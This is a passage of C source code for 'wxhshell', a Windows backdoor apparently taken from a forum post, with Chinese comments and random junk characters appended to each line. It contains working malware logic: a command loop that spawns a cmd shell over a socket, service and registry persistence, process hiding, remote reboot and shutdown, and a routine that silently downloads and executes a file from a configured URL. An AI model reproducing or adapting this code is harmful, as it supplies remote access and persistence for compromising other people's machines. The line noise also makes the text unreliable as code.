  case '?': { L%BNz3:Dt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N03HQp)g  
    break; L$9 . 8W  
  } )^ m%i]L _  
  // 安装 M:-.o  
  case 'i': { ,RJtm%w  
    if(Install()) T,]7ICF#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$IX5:E#e  
    else Qy.w=80kf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?3*l{[@J  
    break; {p;zuCF1  
    } dls ss\c^M  
  // 卸载 Qj,]N@7  
  case 'r': { "$N#p5  
    if(Uninstall()) y=`2\L" O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n;(\5{a  
    else <%maDM^_\(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BnCbon)  
    break; .#1~Rz1r  
    } Qk\A c  
  // 显示 wxhshell 所在路径 6b+b/>G0  
  case 'p': { ]3VI|f$$  
    char svExeFile[MAX_PATH]; IqC]!H0  
    strcpy(svExeFile,"\n\r"); &GlwC%$S  
      strcat(svExeFile,ExeFile); Cg&e(  
        send(wsh,svExeFile,strlen(svExeFile),0); (@t(?Js  
    break; RnhL< Ywu  
    } Fe]B&n  
  // 重启 5#> 8MU?&  
  case 'b': { >+]_5qc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zY,r9<I8_x  
    if(Boot(REBOOT)) 1jy9lP=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _h X]%  
    else { /h*>P:i].  
    closesocket(wsh); 5D_fXfx_|  
    ExitThread(0); T-5nB>)  
    } uM_#  
    break; y>72{  
    } LXEfPLS  
  // 关机 /RHo1  
  case 'd': { 7 qj9&bEy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kMtwiB|7j  
    if(Boot(SHUTDOWN)) UVw~8o9s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }RHn)}+  
    else { ,!dh2xNH^  
    closesocket(wsh); |P -8HlOr  
    ExitThread(0); RAG3o-  
    } ZCB_  
    break; bzX\IrJpOZ  
    } po$ /7  
  // 获取shell dl ~%MWAVb  
  case 's': { AgFVv5  
    CmdShell(wsh); $% 1vW=d  
    closesocket(wsh); %n hm  
    ExitThread(0); WAn~ +=Ax  
    break; d/ bEt&  
  } ~$p2#AqX  
  // 退出 f. FYR|%tq  
  case 'x': { _T2=J+"-Kp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kAu+zX>S+  
    CloseIt(wsh); 0&/b42W  
    break; 1RK=,Wx  
    } sFQ^2PwbS  
  // 离开 Gi "941zVl  
  case 'q': { Sqo : -  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iVG-_RsKK  
    closesocket(wsh); {K9/H qH  
    WSACleanup(); ,4ei2`wV  
    exit(1); yQ^($#Yk  
    break; z .Y$7bf)  
        } Nkp)Ax&  
  } ,:??P1  
  } 2n `S5(V  
u%/goxA  
  // 提示信息 fH)YFn/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5g9; +}X;  
} I =1+h  
  } tUgEeh6  
ap{2$k ,  
  return; h}]fn A  
} D5:{fWVsV/  
v@wb"jdFi$  
// shell模块句柄 9:e YU =  
int CmdShell(SOCKET sock) v{9t]s>B  
{ ^D<r  
STARTUPINFO si; h+aS4Q&  
ZeroMemory(&si,sizeof(si)); e'=MQ,EWd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; om]4BRe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !}4MN:r  
PROCESS_INFORMATION ProcessInfo; i:Zm*+Gi  
char cmdline[]="cmd"; A0fFv+RN3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A0Zt8>w  
  return 0; "h|'}7p  
} %s&ChM?8F  
C#H:-Q&  
// 自身启动模式 @"o@}9=d  
int StartFromService(void) zcva-ze:;  
{ 1?| f lK  
typedef struct P9S2?Q  
{ .58qL-iC  
  DWORD ExitStatus; *b xzCI7b  
  DWORD PebBaseAddress; a\%xB >LX  
  DWORD AffinityMask; Zr-U&9.`  
  DWORD BasePriority; MNg^]tpf  
  ULONG UniqueProcessId; STglw-TC\  
  ULONG InheritedFromUniqueProcessId; aDehqP6vf  
}   PROCESS_BASIC_INFORMATION; zLF?P3^  
Q6XRsFc  
PROCNTQSIP NtQueryInformationProcess; o}<4*qlI  
AQc,>{Lm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z( 9 u<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nx-uQ^e*1  
%eJGt e-  
  HANDLE             hProcess; JICawj:I  
  PROCESS_BASIC_INFORMATION pbi; F {B\kq8  
(?H0+zws^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l9Q(xuhv  
  if(NULL == hInst ) return 0; 8kbY+W%n  
[y0O{,lI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Iu{kPyx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i@][rdhT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @&"Pci+-|  
uK'&Dam  
  if (!NtQueryInformationProcess) return 0; JMCW}bA  
RID]pek  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Td{;Y="yF  
  if(!hProcess) return 0; 0[F:'_  
ZbT/$\0(6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; } %'bullT  
c,Euv>*`  
  CloseHandle(hProcess); h!#:$|Q  
0I{gJSK.,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #eN{!Niy&U  
if(hProcess==NULL) return 0; ql GW.jY.  
QaGlR`Y  
HMODULE hMod; ~Xlrvb}LP  
char procName[255]; !6G?zipB  
unsigned long cbNeeded; cD4 kC>P*  
5*\\J&H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m>}8'N)  
}P3tn  
  CloseHandle(hProcess); m'-|{c  
,+;:3gRk9  
if(strstr(procName,"services")) return 1; // 以服务启动 X1tXqHJF}  
>|Q:g,I  
  return 0; // 注册表启动 /j"sS2$U  
} v_S4hz6w\  
+ <c^=&7Lq  
// 主模块 `mH %!{P  
int StartWxhshell(LPSTR lpCmdLine) b.O9ITR  
{ )s9',4$eK<  
  SOCKET wsl; I5AO?BzJ  
BOOL val=TRUE; 0e[d=)XG  
  int port=0; XCsiEKZ_i  
  struct sockaddr_in door; Og%U  
O8U<{jgAG  
  if(wscfg.ws_autoins) Install(); jxgj,h"}9`  
mfny4R1_  
port=atoi(lpCmdLine); @mt0kV9  
J wmT /  
if(port<=0) port=wscfg.ws_port; Q/I)V2a1i  
._z 'g_c(  
  WSADATA data; "Dy'Kd%,%/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E^hHH?w+  
o$.e^XL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $[@0^IJq=K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *FR$vLGn  
  door.sin_family = AF_INET; k;dXOn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kHc<*L_ V  
  door.sin_port = htons(port); Oq(VvS/  
*pzq.#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "k$JP  
closesocket(wsl); 7?"y{R>E  
return 1; 5wC* ?>/  
} m+$ @'TbP  
W</n=D<,I  
  if(listen(wsl,2) == INVALID_SOCKET) { n uQM^2  
closesocket(wsl); mT*{-n_Zs  
return 1;  1;eX&  
} Zt3}Z4d  
  Wxhshell(wsl); M~6@20$oW  
  WSACleanup(); *B)yy[8j+  
Lp:6 ;  
return 0; ;%q39U}  
&ogt2<1W  
} *HM?YhR  
PHM:W%g:  
// 以NT服务方式启动 @nV5.r0W}B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o5Rz%k#h  
{ }b["Jk\2  
DWORD   status = 0; Y^ve:Z  
  DWORD   specificError = 0xfffffff; Md; /nJO~{  
7_KhV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CidM(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +zOOdSFk.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @u4=e4eF`  
  serviceStatus.dwWin32ExitCode     = 0; t]_S  
  serviceStatus.dwServiceSpecificExitCode = 0; !#D=w$@r:  
  serviceStatus.dwCheckPoint       = 0; _EYB 8e  
  serviceStatus.dwWaitHint       = 0; {M~lbU  
Vj^dD9:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [!*xO?yCJ  
  if (hServiceStatusHandle==0) return; 3-wD^4)O,  
Nofu7xiDw[  
status = GetLastError(); 4,eQW[;kk  
  if (status!=NO_ERROR) \ a-CN>  
{ udqge?Tz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Re:T9K'e  
    serviceStatus.dwCheckPoint       = 0; +/'<z  
    serviceStatus.dwWaitHint       = 0; (7q^FtjA#  
    serviceStatus.dwWin32ExitCode     = status; 7t(Y;4<2  
    serviceStatus.dwServiceSpecificExitCode = specificError; r:.uBc&_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s^|\9%WD  
    return; r:l96^xs  
  } 6n w&$I  
bcJ@-i0V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0g(6r-2)7  
  serviceStatus.dwCheckPoint       = 0; iK}v`xq  
  serviceStatus.dwWaitHint       = 0; *=nO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q)6va}2ai  
} J1 tDO?  
0^<,(]!  
// 处理NT服务事件,比如:启动、停止 [ #]jC[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sb<\-O14"  
{ pzEABA   
switch(fdwControl) 1$["79k  
{ L{PH0Jf  
case SERVICE_CONTROL_STOP: lCFU1 GHH  
  serviceStatus.dwWin32ExitCode = 0; ^8742.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d(l|hmj4j9  
  serviceStatus.dwCheckPoint   = 0; F3 f@9@b   
  serviceStatus.dwWaitHint     = 0; !kh{9I>M  
  { rF8 hr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fA XE~  
  } 0 BC`iql5  
  return; PNmF}"  
case SERVICE_CONTROL_PAUSE: ,C!n}+27  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c^-YcGwa  
  break; ONWO`XD  
case SERVICE_CONTROL_CONTINUE: a J-}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2v^lD('  
  break; G2@KI-  
case SERVICE_CONTROL_INTERROGATE: I@PJl  
  break; N !IzB]  
}; z6Z='=pT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h ]}`@M"  
} cdp{W  
AQn[*  
// 标准应用程序主函数 @W)/\AZ3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RUc\u93n  
{ I =b'j5c  
Vj7Hgc-,  
// 获取操作系统版本 *.dKR  
OsIsNt=GetOsVer(); rIPl6,w~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4 m $sJ  
|$Xf;N37t  
  // 从命令行安装 X!7Xg  
  if(strpbrk(lpCmdLine,"iI")) Install();  V.fp/jhj  
J(hA^;8:  
  // 下载执行文件 ;(`e^IVf  
if(wscfg.ws_downexe) { a^/K?lAB8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H oS|f0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4]u,x`6C  
} O 'Am RJ  
rBD2Si=  
if(!OsIsNt) { /sH0x,V  
// 如果时win9x,隐藏进程并且设置为注册表启动 , #Ln/;  
HideProc(); #}j]XWy  
StartWxhshell(lpCmdLine); ,N;v~D$Y  
} wJ(8}eI  
else f:FpyCo=9  
  if(StartFromService()) $ %;jk  
  // 以服务方式启动 e9}8RHy1$  
  StartServiceCtrlDispatcher(DispatchTable); k?n]ZNlT  
else 2i"HqAB  
  // 普通方式启动 U~hCn+0  
  StartWxhshell(lpCmdLine); GM77Z.Y  
$&Ac5Zo%}  
return 0; )ZeLaaP  
}
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只看该作者 1 发表于: 2006-10-10
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